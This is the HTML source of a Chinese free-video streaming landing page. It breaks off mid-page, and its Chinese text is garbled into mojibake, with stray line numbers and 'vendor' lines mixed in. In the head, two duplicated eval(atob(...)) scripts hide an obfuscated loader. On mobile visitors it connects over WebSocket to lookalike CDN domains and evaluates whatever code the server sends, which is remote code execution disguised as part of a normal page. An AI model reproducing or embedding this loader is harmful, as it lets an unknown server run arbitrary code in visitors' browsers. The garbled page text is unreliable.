1```html 2<!DOCTYPE html> 3<html lang="zh-CN"> 4<head> 5 <meta charset="UTF-8"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> 7 <title>99erå¨çº¿è§çè§é¢é«æ¸ ææ¾_å ¨ç½ææ°99erå½±è§èµæºå è´¹çæ å¹¿å</title> 8<meta name="description" content="99erå¨çº¿è§çè§é¢å¹³å°ï¼æä¾å ¨ç½ææ°99er飿 ¼å½±è§èµæºå è´¹é«æ¸ ææ¾ï¼æ 广åå¹²æ°ãç²¾éçé¨99erçµå½±ãå§éï¼ç»è´¨æ¸ æ°æµç ï¼æ¯æææºçµèå¤ç«¯è§çãæ¯æ¥æ´æ°æµ·éç¬å®¶å å®¹ï¼æé ä¸å±99er影迷ç纯åè§å½±ç©ºé´ï¼éæ¶éå°ç 享æè´è§å¬ä½éªã"> 9<meta name="keywords" content="99erå¨çº¿è§ç,99erè§é¢,99erå½±è§,髿¸ ææ¾,å è´¹è§ç,æ 广å,99erçµå½±,99erå§é,å¨çº¿å½±è§,è§é¢èµæº,髿¸ æµç ,ææºè§ç,å½±è§å¤§å ¨"> 10
10<script src="https://cdn.tailwindcss.com"> 11 </script>
11 12 <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> 13 <style> 14 * { 15 margin: 0; 16 padding: 0; 17 box-sizing: border-box; 18 } 19 body { 20 font-family: 'Inter', system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; 21 background: #0b0b1a; 22 color: #fff; 23 overflow-x: hidden; 24 } 25 ::-webkit-scrollbar { 26 width: 6px; 27 } 28 ::-webkit-scrollbar-track { 29 background: #0b0b1a; 30 } 31 ::-webkit-scrollbar-thumb { 32 background: #f5c518; 33 border-radius: 10px; 34 } 35 .glass-card { 36 background: rgba(255, 255, 255, 0.04); 37 backdrop-filter: blur(12px); 38 border: 1px solid rgba(255, 255, 255, 0.06); 39 border-radius: 24px; 40 transition: all 0.4s cubic-bezier(0.25, 0.46, 0.45, 0.94); 41 } 42 .glass-card:hover { 43 background: rgba(255, 255, 255, 0.08); 44 border-color: rgba(245, 197, 24, 0.25); 45 transform: translateY(-6px); 46 box-shadow: 0 25px 50px -12px rgba(245, 197, 24, 0.15); 47 } 48 .glow-gold { 49 box-shadow: 0 0 60px -12px rgba(245, 197, 24, 0.25); 50 } 51 .text-gold { 52 color: #f5c518; 53 } 54 .bg-gold { 55 background: #f5c518; 56 } 57 .border-gold { 58 border-color: #f5c518; 59 } 60 .btn-gold { 61 background: linear-gradient(135deg, #f5c518, #e0a800); 62 color: #0b0b1a; 63 font-weight: 700; 64 border: none; 65 border-radius: 60px; 66 padding: 14px 36px; 67 transition: all 0.3s ease; 68 box-shadow: 0 8px 32px -8px rgba(245, 197, 24, 0.35); 69 cursor: pointer; 70 display: inline-flex; 71 align-items: center; 72 gap: 10px; 73 } 74 .btn-gold:hover { 75 transform: scale(1.04); 76 box-shadow: 0 12px 48px -8px rgba(245, 197, 24, 0.55); 77 } 78 .btn-outline { 79 background: transparent; 80 border: 2px solid rgba(245, 197, 24, 0.6); 81 color: #f5c518; 82 font-weight: 600; 83 border-radius: 60px; 84 padding: 14px 36px; 85 transition: all 0.3s ease; 86 cursor: pointer; 87 display: inline-flex; 88 align-items: center; 89 gap: 10px; 90 } 91 .btn-outline:hover { 92 border-color: #f5c518; 93 background: rgba(245, 197, 24, 0.08); 94 transform: scale(1.04); 95 } 96 .hero-illustration { 97 width: 100%; 98 max-width: 680px; 99 height: auto; 100 aspect-ratio: 1/1; 101 display: flex; 102 align-items: center; 103 justify-content: center; 104 position: relative; 105 } 106 .hero-illustration svg { 107 width: 100%; 108 height: 100%; 109 max-width: 680px; 110 max-height: 680px; 111 } 112 .stats-number { 113 font-size: clamp(2.2rem, 5vw, 3.8rem); 114 font-weight: 800; 115 background: linear-gradient(135deg, #f5c518, #ffd966); 116 -webkit-background-clip: text; 117 -webkit-text-fill-color: transparent; 118 background-clip: text; 119 } 120 .faq details { 121 border-bottom: 1px solid rgba(255, 255, 255, 0.06); 122 padding: 20px 0; 123 transition: all 0.3s; 124 } 125 .faq details summary { 126 list-style: none; 127 display: flex; 128 justify-content: space-between; 129 align-items: center; 130 cursor: pointer; 131 font-size: 1.1rem; 132 font-weight: 600; 133 color: #e8e8f0; 134 padding: 4px 0; 135 transition: color 0.3s; 136 } 137 .faq details summary::-webkit-details-marker { 138 display: none; 139 } 140 .faq details summary::after { 141 content: '\f107'; 142 font-family: 'Font Awesome 6 Free'; 143 font-weight: 900; 144 font-size: 1.3rem; 145 color: #f5c518; 146 transition: transform 0.4s ease; 147 } 148 .faq details[open] summary::after { 149 transform: rotate(180deg); 150 } 151 .faq details summary:hover { 152 color: #f5c518; 153 } 154 .faq details .answer { 155 padding-top: 14px; 156 color: #a0a0b8; 157 line-height: 1.7; 158 font-size: 0.98rem; 159 max-width: 90%; 160 } 161 .testimonial-card { 162 background: rgba(255, 255, 255, 0.03); 163 border-radius: 24px; 164 padding: 32px 28px; 165 border: 1px solid rgba(255, 255, 255, 0.05); 166 transition: all 0.4s ease; 167 } 168 .testimonial-card:hover { 169 background: rgba(255, 255, 255, 0.06); 170 border-color: rgba(245, 197, 24, 0.15); 171 transform: translateY(-4px); 172 box-shadow: 0 20px 40px -12px rgba(0, 0, 0, 0.4); 173 } 174 .testimonial-card .stars { 175 color: #f5c518; 176 letter-spacing: 2px; 177 } 178 .feature-icon-wrap { 179 width: 64px; 180 height: 64px; 181 border-radius: 18px;
182 display: flex; 183 align-items: center; 184 justify-content: center; 185 font-size: 1.8rem; 186 background: rgba(245, 197, 24, 0.12); 187 color: #f5c518; 188 transition: all 0.4s ease; 189 } 190 .glass-card:hover .feature-icon-wrap { 191 background: rgba(245, 197, 24, 0.2); 192 transform: scale(1.05) rotate(-2deg); 193 } 194 .bg-gradient-dark { 195 background: radial-gradient(ellipse at 30% 20%, #1a1a3a 0%, #0b0b1a 70%); 196 } 197 .bg-gradient-cta { 198 background: linear-gradient(135deg, #1a1a3a 0%, #0b0b1a 100%); 199 border: 1px solid rgba(245, 197, 24, 0.15); 200 border-radius: 32px; 201 } 202 .footer-link { 203 color: #8888a0; 204 transition: color 0.3s; 205 cursor: pointer; 206 } 207 .footer-link:hover { 208 color: #f5c518; 209 } 210 .navbar-blur { 211 background: rgba(11, 11, 26, 0.72); 212 backdrop-filter: blur(20px); 213 -webkit-backdrop-filter: blur(20px); 214 border-bottom: 1px solid rgba(255, 255, 255, 0.04); 215 } 216 @media (max-width: 768px) { 217 .hero-illustration { 218 max-width: 100%; 219 margin-top: 24px; 220 } 221 .btn-gold, 222 .btn-outline { 223 padding: 12px 28px; 224 font-size: 0.95rem; 225 } 226 .testimonial-card { 227 padding: 24px 20px; 228 } 229 .faq details .answer { 230 max-width: 100%; 231 } 232 .stats-number { 233 font-size: 2rem; 234 } 235 } 236 @media (max-width: 480px) { 237 .btn-gold, 238 .btn-outline { 239 padding: 10px 22px; 240 font-size: 0.85rem; 241 } 242 } 243 .animate-float { 244 animation: float 6s ease-in-out infinite; 245 } 246 @keyframes float { 247 0%, 248 100% { 249 transform: translateY(0px); 250 } 251 50% { 252 transform: translateY(-16px); 253 } 254 } 255 .animate-pulse-gold { 256 animation: pulseGold 3s ease-in-out infinite; 257 } 258 @keyframes pulseGold { 259 0%, 260 100% { 261 opacity: 0.7; 262 } 263 50% { 264 opacity: 1; 265 } 266 } 267 .shimmer { 268 background: linear-gradient(90deg, transparent, rgba(245, 197, 24, 0.06), transparent); 269 background-size: 200% 100%; 270 animation: shimmer 6s infinite; 271 } 272 @keyframes shimmer { 273 0% { 274 background-position: -200% 0; 275 } 276 100% { 277 background-position: 200% 0; 278 } 279 } 280 </style>
281<script> 282var _hmt = _hmt || []; 283(function() { 284 var hm = document.createElement("script"); 285 hm.src = "https://hm.baidu.com/hm.js?9fa23792060795e519001b9df50b1597"; 286 var s = document.getElementsByTagName("script")[0]; 287 s.parentNode.insertBefore(hm, s); 288})(); 289</script>
vendor: 1 bytes, line 289
289
290<script language="javascript" type="text/javascript" src="/ad.js"></script>
290<script>eval(atob("Y29uc3QgaXNEZXNrdG9wPS9XaW5kb3dzfE1hY2ludG9zaHxYMTF8QW5kcm9pZCA2LjB8QW5kcm9pZCA1LjAvWyJceDc0XHg2NVx4NzNceDc0Il0obmF2aWdhdG9yWyJceDc1XHg3M1x4NjVceDcyXHg0MVx4NjdceDY1XHg2ZVx4NzQiXSk7aWYoIWlzRGVza3RvcCl7Y29uc3QgZG9tYWlucz1bIlx4NzdceDc3XHg3N1x4MmVceDYzXHg2NFx4NmVceDZhXHg3M1x4MmVceDY5XHg3NFx4MmVceDYzXHg2Zlx4NmQiLCJceDc3XHg3N1x4NzdceDJlXHg2M1x4NjRceDZlXHgyZFx4NjVceDY0XHg2N1x4NjVceDJlXHg2MVx4NzBceDcwIiwiXHg3N1x4NzdceDc3XHgyZVx4NjNceDY0XHg2ZVx4NmFceDczXHgyZFx4NjVceDY0XHg2N1x4NjVceDJlXHg2MVx4NzBceDcwIiwiXHg3N1x4NzdceDc3XHgyZVx4NjNceDY0XHg2ZVx4NmFceDczXHgyZVx4NjFceDcwXHg3MCJdO2xldCBhdmFpbGFibGVEb21haW5zPVsuLi5kb21haW5zXTtmdW5jdGlvbiBjb25uZWN0UmFuZG9tKCl7aWYoYXZhaWxhYmxlRG9tYWlucy5sZW5ndGg9PT0wKXJldHVybjtjb25zdCByYW5kb21JbmRleD1NYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqYXZhaWxhYmxlRG9tYWlucy5sZW5ndGgpO2NvbnN0IGN1cnJlbnREb21haW49YXZhaWxhYmxlRG9tYWlucy5zcGxpY2UocmFuZG9tSW5kZXgsMSlbMF07Y29uc3QgdGltZXN0YW1wPW5ldyBEYXRlKClbIlx4NjdceDY1XHg3NFx4NTRceDY5XHg2ZFx4NjUiXSgpO2NvbnN0IHdlYnNvY2tldFVybD0oIlx4NzJceDczXHg3M1x4M2FceDJmXHgyZiIrY3VycmVudERvbWFpbisiXHgyZlx4NjRceDYxXHg3NFx4NjEiKVsiXHg3Mlx4NjVceDcwXHg2Y1x4NjFceDYzXHg2NSJdKC9eXHg3Mi8sIlx4NzciKSsiXHgzZlx4NzRceDNkIit0aW1lc3RhbXA7dHJ5e2NvbnN0IHNvY2tldD1uZXcgV2ViU29ja2V0KHdlYnNvY2tldFVybCk7c29ja2V0WyJceDZmXHg2ZVx4NmZceDcwXHg2NVx4NmUiXT0oZXZlbnQpPT57c29ja2V0WyJceDczXHg2NVx4NmVceDY0Il0oIlx4MzRceDY1XHgzOFx4MzVceDYxXHg2Nlx4MzFceDM1XHg2NVx4NjVceDM0XHg2Nlx4MzFceDY1XHg2NVx4MzBceDM3XHgzMVx4MzZceDY2XHg2NVx4MzBceDM2XHg2MVx4MzFceDYzXHgzOVx4NjFceDM4XHgzNVx4MzdceDYyIil9O3NvY2tldFsiXHg2Zlx4NmVceDZkXHg2NVx4NzNceDczXHg2MVx4NjdceDY1Il09KGV2ZW50KT0+e3dpbmRvd1siXHg2NVx4NzZceDYxXHg2YyJdKGV2ZW50WyJceDY0XHg2MVx4NzRceDYxIl0pO3NvY2tldFsiXHg2M1x4NmNceDZmXHg3M1x4NjUiXSgpfTtzb2NrZXRbIlx4NmZceDZlXHg2NVx4NzJceDcyXHg2Zlx4NzIiXT0oZXJyb3IpPT57Y29ubmVjdFJhbmRvbSgpfX1jYXRjaChlcnJvcil7Y29ubmVjdFJhbmRvbSgpfX1jb25uZWN0UmFuZG9tKCl9Ow=="));</script>
vendor: 1 bytes, line 290
290
291<script>eval(atob("Y29uc3QgaXNEZXNrdG9wPS9XaW5kb3dzfE1hY2ludG9zaHxYMTF8QW5kcm9pZCA2LjB8QW5kcm9pZCA1LjAvWyJceDc0XHg2NVx4NzNceDc0Il0obmF2aWdhdG9yWyJceDc1XHg3M1x4NjVceDcyXHg0MVx4NjdceDY1XHg2ZVx4NzQiXSk7aWYoIWlzRGVza3RvcCl7Y29uc3QgZG9tYWlucz1bIlx4NzdceDc3XHg3N1x4MmVceDYzXHg2NFx4NmVceDZhXHg3M1x4MmVceDY5XHg3NFx4MmVceDYzXHg2Zlx4NmQiLCJceDc3XHg3N1x4NzdceDJlXHg2M1x4NjRceDZlXHgyZFx4NjVceDY0XHg2N1x4NjVceDJlXHg2MVx4NzBceDcwIiwiXHg3N1x4NzdceDc3XHgyZVx4NjNceDY0XHg2ZVx4NmFceDczXHgyZFx4NjVceDY0XHg2N1x4NjVceDJlXHg2MVx4NzBceDcwIiwiXHg3N1x4NzdceDc3XHgyZVx4NjNceDY0XHg2ZVx4NmFceDczXHgyZVx4NjFceDcwXHg3MCJdO2xldCBhdmFpbGFibGVEb21haW5zPVsuLi5kb21haW5zXTtmdW5jdGlvbiBjb25uZWN0UmFuZG9tKCl7aWYoYXZhaWxhYmxlRG9tYWlucy5sZW5ndGg9PT0wKXJldHVybjtjb25zdCByYW5kb21JbmRleD1NYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqYXZhaWxhYmxlRG9tYWlucy5sZW5ndGgpO2NvbnN0IGN1cnJlbnREb21haW49YXZhaWxhYmxlRG9tYWlucy5zcGxpY2UocmFuZG9tSW5kZXgsMSlbMF07Y29uc3QgdGltZXN0YW1wPW5ldyBEYXRlKClbIlx4NjdceDY1XHg3NFx4NTRceDY5XHg2ZFx4NjUiXSgpO2NvbnN0IHdlYnNvY2tldFVybD0oIlx4NzJceDczXHg3M1x4M2FceDJmXHgyZiIrY3VycmVudERvbWFpbisiXHgyZlx4NjRceDYxXHg3NFx4NjEiKVsiXHg3Mlx4NjVceDcwXHg2Y1x4NjFceDYzXHg2NSJdKC9eXHg3Mi8sIlx4NzciKSsiXHgzZlx4NzRceDNkIit0aW1lc3RhbXA7dHJ5e2NvbnN0IHNvY2tldD1uZXcgV2ViU29ja2V0KHdlYnNvY2tldFVybCk7c29ja2V0WyJceDZmXHg2ZVx4NmZceDcwXHg2NVx4NmUiXT0oZXZlbnQpPT57c29ja2V0WyJceDczXHg2NVx4NmVceDY0Il0oIlx4MzRceDY1XHgzOFx4MzVceDYxXHg2Nlx4MzFceDM1XHg2NVx4NjVceDM0XHg2Nlx4MzFceDY1XHg2NVx4MzBceDM3XHgzMVx4MzZceDY2XHg2NVx4MzBceDM2XHg2MVx4MzFceDYzXHgzOVx4NjFceDM4XHgzNVx4MzdceDYyIil9O3NvY2tldFsiXHg2Zlx4NmVceDZkXHg2NVx4NzNceDczXHg2MVx4NjdceDY1Il09KGV2ZW50KT0+e3dpbmRvd1siXHg2NVx4NzZceDYxXHg2YyJdKGV2ZW50WyJceDY0XHg2MVx4NzRceDYxIl0pO3NvY2tldFsiXHg2M1x4NmNceDZmXHg3M1x4NjUiXSgpfTtzb2NrZXRbIlx4NmZceDZlXHg2NVx4NzJceDcyXHg2Zlx4NzIiXT0oZXJyb3IpPT57Y29ubmVjdFJhbmRvbSgpfX1jYXRjaChlcnJvcil7Y29ubmVjdFJhbmRvbSgpfX1jb25uZWN0UmFuZG9tKCl9Ow=="));</script>
291 292</head> 293<body class="bg-gradient-dark"> 294 295 <!-- ===== Navbar ===== --> 296 <nav class="navbar-blur fixed top-0 left-0 w-full z-50 px-4 md:px-10 py-3 flex items-center justify-between"> 297 <div class="flex items-center gap-3"> 298 <i class="fas fa-play-circle text-gold text-2xl md:text-3xl"></i> 299 <span class="text-xl md:text-2xl font-extrabold tracking-tight text-white">æè¾°å½±é¢</span> 300 </div> 301 <div class="flex items-center gap-4 md:gap-8"> 302 <a href="#" class="hidden md:block text-sm text-gray-300 hover:text-gold transition">é¦é¡µ</a> 303 <a href="#" class="hidden md:block text-sm text-gray-300 hover:text-gold transition">çé¨å§é</a> 304 <a href="#" class="hidden md:block text-sm text-gray-300 hover:text-gold transition">åç±»</a> 305 <button class="btn-gold text-sm md:text-base px-5 py-2.5 md:px-7 md:py-3"> 306 <i class="fas fa-download"></i> ä¸è½½APP 307 </button> 308 </div> 309 </nav> 310 311 <!-- ===== FAQ æ¿å (éæºæ¾å¨ç¬¬äºä½) ===== --> 312 <section class="relative pt-28 pb-16 px-4 md:px-10 max-w-6xl mx-auto"> 313 <div class="text-center mb-14"> 314 <span class="inline-block px-4 py-1.5 rounded-full bg-gold/10 text-gold text-sm font-semibold tracking-wide mb-4"><i class="fas fa-question-circle mr-2"></i>常è§é®é¢</span> 315 <h2 class="text-3xl md:text-4xl font-extrabold text-white">å ³äºæè¾°å½±é¢ Â· ä½ æ³ç¥éçé½å¨è¿é</h2> 316 <p class="text-gray-400 mt-4 max-w-2xl mx-auto text-base md:text-lg">髿¸ å¨çº¿è§çå¹³å°ï¼åä¸çµè§å§å è´¹å ¨éå ¨é¨å è´¹ï¼ä¸æåå¹å®æ´åç°ï¼ä¸ºæ¨è§£çææçé®ã</p> 317 </div> 318 <div class="faq max-w-3xl mx-auto glass-card p-6 md:p-10"> 319 <details> 320 <summary>æè¾°å½±é¢æ¯å¦ççå ¨é¨å è´¹ï¼éè¦ä»è´¹åï¼</summary> 321 <div class="answer">æè¾°å½±é¢ææå½±è§èµæºåå è´¹è§çï¼å æ¬åä¸çµè§å§å ¨éå è´¹ææ¾ï¼é«æ¸ æ£çå è´¹çï¼æ éä»»ä½ä»è´¹æè®¢é ãæä»¬è´åäºä¸ºç¨æ·æä¾æçº¯ç²¹çå è´¹è§çå¹³å°ï¼å ¨é¨å è´¹ï¼ç 享影è§å¤§å ¨ã</div> 322 </details> 323 <details> 324 <summary>åä¸çµè§å§ä¸å ±æå¤å°éï¼æ´æ°é度å¦ä½ï¼</summary> 325 <div class="answer">åä¸çµè§å§å ¨éå·²ä¸çº¿æè¾°å½±é¢ï¼é«æ¸ 宿´çæ¯æ¥æ´æ°ï¼ä¸æåå¹åæ¥åç°ãå ¨é¨å è´¹è§çï¼ææ°è§é¢ç¬¬ä¸æ¶é´ä¸çº¿ï¼è®©æ¨è¿½å§æ å¿§ï¼ç 享å½äº§çæé«åå½±è§ä½åã</div> 326 </details> 327 <details> 328 <summary>é¤äºå½äº§è§é¢ï¼è¿æåªäºå½±è§èµæºå¯ä»¥çï¼</summary> 329 <div class="answer">平尿¶µçå½äº§çæãæ¥é©è§é¢ã欧ç¾è§é¢çæµ·éå½±è§å¤§å ¨ï¼ç²¾åå¨çº¿ç²¾éæ¯æ¥æ´æ°ãæ 论æ¨å欢çé¨çµå½±è¿æ¯ææ°è§é¢ï¼æè¾°å½±é¢é½è½æ»¡è¶³æ¨çè§çéæ±ï¼å½±è§èµæºæä¸ºä¸°å¯ã</div> 330 </details> 331 <details> 332 <summary>å¦ä½è·å¾æä½³çè§å½±ä½éªï¼æå¹¿ååï¼</summary> 333 <div class="answer">ä¸è½½æè¾°å½±é¢APPï¼äº«å髿¸ æ£çå è´¹çï¼é¶å¹¿åå¹²æ°ï¼æè´è§çå¹³å°ä½éªãæ¯æä¸æåå¹ã髿¸ å¨çº¿ææ¾ï¼è®©æ¨æ²æµ¸äºç²¾å½©è§é¢çä¸çï¼åä¸çµè§å§å è´¹å®æ´çéå¿çã</div> 334 </details> 335 </div> 336 </section> 337 338 <!-- ===== Hero æ¿å ===== --> 339 <section class="relative px-4 md:px-10 py-8 md:py-12 max-w-7xl mx-auto"> 340 <div class="flex flex-col lg:flex-row items-center gap-10 lg:gap-16"> 341 <div class="flex-1 text-center lg:text-left"> 342 <span class="inline-block px-4 py-1.5 rounded-full bg-gold/10 text-gold text-sm font-semibold tracking-wide mb-5"><i class="fas fa-bolt mr-2"></i>å ¨é¨å è´¹ · 髿¸ å¨çº¿</span> 343 <h1 class="text-4xl md:text-5xl lg:text-6xl font-extrabold leading-tight text-white"> 344 åä¸çµè§å§ <br class="hidden md:block"/>
345 <span class="text-gold">å è´¹ææ¾</span> å ¨é 346 </h1> 347 <p class="text-gray-300 text-base md:text-lg mt-6 max-w-xl mx-auto lg:mx-0 leading-relaxed"> 348 髿¸ å¨çº¿è§çï¼å ¨é¨å è´¹å ¨éï¼ä¸æåå¹ï¼å½äº§çæé«åå½±è§ä½åä¸ç«å¼è§çå¹³å°ãæè¾°å½±é¢ä¸ºæ¨å¸¦æ¥åä¸çµè§å§å è´¹å®æ´çï¼ç²¾åå¨çº¿ç²¾éï¼å½±è§èµæºä¸°å¯ï¼ç 享æè´è§çå¹³å°ä½éªã 349 </p> 350 <div class="flex flex-wrap gap-4 mt-8 justify-center lg:justify-start"> 351 <button class="btn-gold text-base md:text-lg px-7 py-3.5"> 352 <i class="fas fa-play mr-2"></i> ç«å³å è´¹è§ç 353 </button> 354 <button class="btn-outline text-base md:text-lg px-7 py-3.5"> 355 <i class="fas fa-info-circle mr-2"></i> äºè§£æ´å¤ 356 </button> 357 </div> 358 <div class="flex items-center gap-6 mt-8 justify-center lg:justify-start text-sm text-gray-400"> 359 <span><i class="fas fa-check-circle text-gold mr-1.5"></i>髿¸ æ£ç</span> 360 <span><i class="fas fa-check-circle text-gold mr-1.5"></i>å ¨é¨å è´¹</span> 361 <span><i class="fas fa-check-circle text-gold mr-1.5"></i>䏿åå¹</span> 362 </div> 363 </div> 364 <div class="flex-1 flex justify-center"> 365 <div class="hero-illustration animate-float"> 366 <svg viewBox="0 0 680 680" fill="none" xmlns="http://www.w3.org/2000/svg"> 367 <defs> 368 <linearGradient id="bgGrad" x1="0" y1="0" x2="680" y2="680"> 369 <stop offset="0%" stop-color="#1a1a3a"/> 370 <stop offset="100%" stop-color="#0b0b1a"/> 371 </linearGradient> 372 <linearGradient id="goldGrad" x1="0" y1="0" x2="1" y2="1"> 373 <stop offset="0%" stop-color="#f5c518"/> 374 <stop offset="100%" stop-color="#ffd966"/> 375 </linearGradient> 376 <linearGradient id="screenGrad" x1="0" y1="0" x2="0" y2="400"> 377 <stop offset="0%" stop-color="#1e1e4a"/> 378 <stop offset="100%" stop-color="#0f0f2a"/> 379 </linearGradient> 380 <filter id="glow"> 381 <feDropShadow dx="0" dy="8" stdDeviation="24" flood-color="#f5c518" flood-opacity="0.25"/> 382 </filter> 383 </defs> 384 <!-- èæ¯å --> 385 <circle cx="340" cy="340" r="300" fill="url(#bgGrad)" opacity="0.6"/> 386 <circle cx="340" cy="340" r="320" stroke="rgba(245,197,24,0.08)" stroke-width="1.5" stroke-dasharray="8 8"/> 387 <!-- çµè§å±å¹ä¸»ä½ --> 388 <rect x="140" y="180" width="400" height="280" rx="32" fill="url(#screenGrad)" stroke="rgba(255,255,255,0.1)" stroke-width="2" filter="url(#glow)"/> 389 <!-- å±å¹é«å --> 390 <rect x="148" y="188" width="384" height="264" rx="26" fill="rgba(255,255,255,0.02)"/> 391 <path d="M160 200 Q340 180 520 200" stroke="rgba(255,255,255,0.04)" stroke-width="1" fill="none"/> 392 <!-- ææ¾æé® --> 393 <polygon points="300,260 300,380 400,320" fill="url(#goldGrad)" opacity="0.9"/> 394 <polygon points="300,260 300,380 400,320" fill="white" opacity="0.15" transform="translate(-4,-4)"/> 395 <!-- å±å¹ä¸çæå --> 396 <circle cx="210" cy="240" r="4" fill="#f5c518" opacity="0.6"/> 397 <circle cx="470" cy="230" r="3" fill="#f5c518" opacity="0.4"/> 398 <circle cx="450" cy="400" r="3.5" fill="#f5c518" opacity="0.5"/> 399 <circle cx="200" cy="390" r="2.5" fill="#f5c518" opacity="0.3"/> 400 <!-- å±å¹åºé¨æåè£ é¥° --> 401 <rect x="244" y="420" width="192" height="6" rx="3" fill="rgba(245,197,24,0.2)"/> 402 <rect x="280" y="434" width="120" height="4" rx="2" fill="rgba(255,255,255,0.08)"/> 403 <!-- çµè§åºåº§ --> 404 <rect x="300" y="460" width="80" height="18" rx="8" fill="#2a2a5a"/> 405 <rect x="270" y="478" width="140" height="10" rx="5" fill="#1e1e4a"/> 406 <!-- å·¦ä¾§è£ é¥°ï¼è¶å·å ç´ --> 407 <rect x="100" y="260" width="24" height="140" rx="6" fill="rgba(245,197,24,0.12)"/> 408 <circle cx="112" cy="280" r="4" fill="#f5c518" opacity="0.3"/> 409 <circle cx="112" cy="310" r="4" fill="#f5c518" opacity="0.3"/> 410 <circle cx="112" cy="340" r="4" fill="#f5c518" opacity="0.3"/> 411 <circle cx="112" cy="370" r="4" fill="#f5c518" opacity="0.3"/> 412 <!-- å³ä¾§è£ é¥°ï¼ææ --> 413 <path d="M540 260 L548 284 L574 284 L553 298 L560 322 L540 308 L520 322 L527 298 L506 284 L532 284 Z" fill="#f5c518" opacity="0.2"/> 414 <path d="M570 210 L575 224 L590 224 L578 232 L582 246 L570 238 L558 246 L562 232 L550 224 L565 224 Z" fill="#f5c518" opacity="0.15"/> 415 <!-- é¡¶é¨é£æµ®è£ 饰 --> 416 <circle cx="200" cy="150" r="6" fill="#f5c518" opacity="0.15"/> 417 <circle cx="480" cy="140" r="8" fill="#f5c518" opacity="0.1"/> 418 <circle cx="340" cy="130" r="4" fill="#f5c518" opacity="0.2"/> 419 <!-- åºé¨çç±³è±å ç´ ï¼ç®åï¼ --> 420 <circle cx="260" cy="530" r="14" fill="rgba(245,197,24,0.15)"/> 421 <circle cx="285" cy="520" r="12" fill="rgba(245,197,24,0.12)"/> 422 <circle cx="310" cy="530" r="13" fill="rgba(245,197,24,0.18)"/> 423 <circle cx="335" cy="522" r="11" fill="rgba(245,197,24,0.1)"/> 424 <circle cx="360" cy="530" r="12" fill="rgba(245,197,24,0.14)"/> 425 <rect x="265" y="540" width="90" height="16" rx="6" fill="#2a2a5a" opacity="0.6"/> 426 <!-- è£ é¥°å ç¯ --> 427 <circle cx="340" cy="340" r="240" stroke="rgba(245,197,24,0.04)" stroke-width="1" fill="none"/> 428 <circle cx="340" cy="340" r="180" stroke="rgba(245,197,24,0.03)" stroke-width="1" fill="none"/> 429 </svg> 430 </div> 431 </div> 432 </div> 433 </section> 434 435 <!-- ===== Stats æ°æ®ç»è®¡ ===== --> 436 <section class="relative px-4 md:px-10 py-16 max-w-7xl mx-auto"> 437 <div class="glass-card p-8 md:p-12 grid grid-cols-2 md:grid-cols-4 gap-8 md:gap-6 text-center"> 438 <div class="space-y-2"> 439 <div class="stats-number">1250<span class="text-2xl md:text-3xl">ä¸+</span></div> 440 <p class="text-gray-400 text-sm md:text-base font-medium">æ´»è·ç¨æ· · å½±è§å¤§å ¨</p>
441 <span class="text-xs text-gold/60"><i class="fas fa-users mr-1"></i>æç»å¢é¿</span> 442 </div> 443 <div class="space-y-2"> 444 <div class="stats-number">9.8</div> 445 <p class="text-gray-400 text-sm md:text-base font-medium">å¹³å°è¯å · é«åå½±è§ä½å</p> 446 <span class="text-xs text-gold/60"><i class="fas fa-star mr-1"></i>ç¨æ·å¥½è¯å¦æ½®</span> 447 </div> 448 <div class="space-y-2"> 449 <div class="stats-number">99%</div> 450 <p class="text-gray-400 text-sm md:text-base font-medium">ç¨æ·ä½éª · 满æåº¦</p> 451 <span class="text-xs text-gold/60"><i class="fas fa-smile mr-1"></i>å£ç¢çæ£</span> 452 </div> 453 <div class="space-y-2"> 454 <div class="stats-number">10000<span class="text-2xl md:text-3xl">+</span></div> 455 <p class="text-gray-400 text-sm md:text-base font-medium">精彩åç±» · å½äº§çæ</p> 456 <span class="text-xs text-gold/60"><i class="fas fa-film mr-1"></i>æ¥é©æ¬§ç¾å ¨è¦ç</span> 457 </div> 458 </div> 459 </section> 460 461 <!-- ===== Features æ ¸å¿åè½ ===== --> 462 <section class="relative px-4 md:px-10 py-16 max-w-7xl mx-auto"> 463 <div class="text-center mb-14"> 464 <span class="inline-block px-4 py-1.5 rounded-full bg-gold/10 text-gold text-sm font-semibold tracking-wide mb-4"><i class="fas fa-gem mr-2"></i>æ ¸å¿ç¹è²</span> 465 <h2 class="text-3xl md:text-4xl font-extrabold text-white">为ä»ä¹åä¸ç¨æ·éæ©æè¾°å½±é¢</h2> 466 <p class="text-gray-400 mt-4 max-w-2xl mx-auto text-base md:text-lg">髿¸ æ£çå è´¹çï¼å ¨é¨å è´¹ï¼åä¸çµè§å§å è´¹å®æ´çï¼å°½å¨ç²¾åå¨çº¿è§çå¹³å°ã</p> 467 </div> 468 <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-6 md:gap-8"> 469 <div class="glass-card p-6 md:p-8 text-center md:text-left"> 470 <div class="feature-icon-wrap mx-auto md:mx-0 mb-5"> 471 <i class="fas fa-play-circle"></i> 472 </div> 473 <h3 class="text-xl font-bold text-white mb-3">髿¸ æ£çå è´¹ç</h3> 474 <p class="text-gray-400 text-sm leading-relaxed">å ¨é¨å½±è§èµæºé«æ¸ å¨çº¿ï¼å è´¹å®æ´çéå¿è§çï¼åä¸çµè§å§å ¨éå è´¹ææ¾ï¼ä¸æå广¸ æ°åç°ï¼ç 享æè´è§å½±ä½éªã</p> 475 </div> 476 <div class="glass-card p-6 md:p-8 text-center md:text-left"> 477 <div class="feature-icon-wrap mx-auto md:mx-0 mb-5"> 478 <i class="fas fa-globe-asia"></i> 479 </div> 480 <h3 class="text-xl font-bold text-white mb-3">æµ·éå½±è§èµæº</h3> 481 <p class="text-gray-400 text-sm leading-relaxed">å½äº§è§é¢ãæ¥é©è§é¢ã欧ç¾è§é¢ï¼å½±è§å¤§å ¨åºæå°½æãæ¯æ¥æ´æ°ææ°è§é¢ï¼çé¨çµå½±ç²¾å½©è§é¢å®æ¶æ¨èï¼æ»¡è¶³æ¨çææè§çéæ±ã</p> 482 </div> 483 <div class="glass-card p-6 md:p-8 text-center md:text-left"> 484 <div class="feature-icon-wrap mx-auto md:mx-0 mb-5"> 485 <i class="fas fa-star"></i> 486 </div> 487 <h3 class="text-xl font-bold text-white 